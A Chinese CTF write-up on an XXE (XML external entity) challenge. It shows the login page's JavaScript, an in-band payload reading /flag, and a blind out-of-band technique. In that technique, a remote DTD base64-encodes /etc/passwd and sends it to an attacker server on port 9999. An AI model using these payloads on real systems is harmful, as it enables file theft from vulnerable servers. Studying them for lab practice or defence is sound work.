本文最后更新于39 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
考点:xml注入
查看网页源码

function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
可以看到这是根据POST请求,按照xml解析,返回msg,这说明这是一个有回显的xml注入,回显位是msg

抓包

会回显的是<username>里的内容,所有构造如下payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123</password></user>

我这里发生了报错

但是看了大佬的WP,代码没问题,查了AI这个报错是什么意思,说是核心问题在connection reset了,我怀疑可能是Burp自身问题,删了mcp拓展,删了数据又装,最后还搞了最新版的Burp Suite2026.4,结果都不行,搞了一个周末都没搞定,刚想问学长,就想到之前的一些问题是校园网的问题,于是切换了个人热点

这里再贴一个无回显的XXE的方法,先在云服务器上贴这个到test.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999/?q=%file;'>">
再发payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>










